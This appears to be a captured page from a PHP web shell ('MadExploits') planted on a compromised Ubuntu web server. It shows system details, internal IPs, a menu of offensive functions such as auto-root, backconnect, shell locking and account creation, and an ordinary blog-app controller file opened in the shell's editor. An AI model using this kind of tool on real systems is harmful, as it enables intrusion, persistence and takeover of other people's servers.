Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
greenpreneurs /
api /
controllers /
[ HOME SHELL ]
Name
Size
Permission
Action
admin.dashboard.controller.js
12.23
KB
-rw-r--r--
auth.controller.js
5.83
KB
-rw-r--r--
blog.controller.js
5.49
KB
-rw-r--r--
event.controller.js
1.43
KB
-rw-r--r--
homePage.controller.js
1.33
KB
-rw-r--r--
individualBlog.controller.js
4.96
KB
-rw-r--r--
user.controller.js
4.33
KB
-rw-r--r--
user.dashboard.controller.js
6.88
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : individualBlog.controller.js
import pool from "../config/db.js"; import {errorHandler} from "../utils/error.js"; // ✅ Test endpoint for checking controller functionality export const test = (req, res) => { res.json({ message: 'individual blog controller is working!' }); }; // ✅ Get Individual Blog Data export const getIndividualBlogData = async (req, res) => { const { blogId } = req.params; // Extract from req.params console.log('Blog ID from params:', blogId); if (!blogId) { return res.status(400).json({ error: 'Blog ID is required' }); } const sql = ` SELECT b.*, u.Name, u.ImageURL as UserImage FROM BlogData b JOIN UserData u ON b.CID = u.CID WHERE b.BID = ? `; try { const results = await pool.query(sql, [blogId]); if (results.length === 0) { return res.status(404).json({ error: 'Blog not found' }); } console.log('getIndividualBlogData',results[0][0]) return res.json(results[0][0]); // Return the first result assuming BID is unique } catch (error) { console.error('Error fetching blog data:', error); return res.status(500).json({ error: 'Failed to fetch blog data' }); } }; // ✅ Get Comments for a Blog export const getComments = async (req, res) => { const blogId = req.params.blogId; console.log('Blog ID from params:', blogId); const sql = ` SELECT c.*, u.ImageURL as UserImage FROM Comment c JOIN UserData u ON c.CID = u.CID WHERE c.BID = ? `; try { const results = await pool.query(sql, [blogId]); console.log("getComments", results[0]) return res.json(results[0]); // Return all comments for the blog } catch (error) { console.error('Error fetching comments:', error); return res.status(500).json({ error: 'Failed to fetch comments' }); } }; // ✅ Check if User Liked the Blog export const checkLiked = async (req, res) => { const blogId = req.params.blogId; const { CID } = req.body; console.log('Blog ID from params:', blogId); console.log('CID:', CID); const sql = 'SELECT * FROM LikeData WHERE CID = ? AND BID = ?'; try { const results = await pool.query(sql, [CID, blogId]); if (results.length > 0) { return res.json({ liked: true }); } return res.json({ liked: false }); } catch (error) { console.error('Error checking like status:', error); return res.status(500).json({ error: 'Failed to check like status' }); } }; // ✅ Add or Remove Like for a Blog export const addANDRemoveLike = async (req, res) => { const blogId = req.params.blogId; const { CID } = req.body; console.log('Blog ID from params:', blogId); console.log('CID:', CID); const checkSql = 'SELECT * FROM LikeData WHERE CID = ? AND BID = ?'; try { const results = await pool.query(checkSql, [CID, blogId]); if (results.length > 0) { // If the user has already liked the blog, remove the like const deleteSql = 'DELETE FROM LikeData WHERE CID = ? AND BID = ?'; await pool.query(deleteSql, [CID, blogId]); return res.json({ message: 'Like removed successfully' }); } else { // If the user hasn't liked the blog, add the like const insertSql = 'INSERT INTO LikeData (CID, BID, TotalLike) VALUES (?, ?, 1)'; await pool.query(insertSql, [CID, blogId]); return res.json({ message: 'Like added successfully' }); } } catch (error) { console.error('Error managing like status:', error); return res.status(500).json({ error: 'Failed to manage like status' }); } }; // ✅ Add Comment to a Blog export const addComment = async (req, res) => { const blogId = req.params.blogId; const { CID, Text, Date, Time } = req.body; const sql = 'INSERT INTO Comment (CID, BID, Text, Date, Time) VALUES (?, ?, ?, ?, ?)'; try { await pool.query(sql, [CID, blogId, Text, Date, Time]); return res.json({ message: 'Comment added successfully' }); } catch (error) { console.error('Error adding comment:', error); return res.status(500).json({ error: 'Failed to add comment' }); } }; // ✅ Add Share for a Blog export const addShare = async (req, res) => { const blogId = req.params.blogId; const query = ` INSERT INTO ShareData (BID, TotalShare, Date, Time) VALUES (?, 1, CURDATE(), CURTIME()) ON DUPLICATE KEY UPDATE TotalShare = TotalShare + 1, Date = CURDATE(), Time = CURTIME(); `; try { await pool.quer(query, [blogId]); return res.json({ message: 'Share added successfully' }); } catch (error) { console.error('Error adding share:', error); return res.status(500).json({ error: 'Failed to add share' }); } };
Close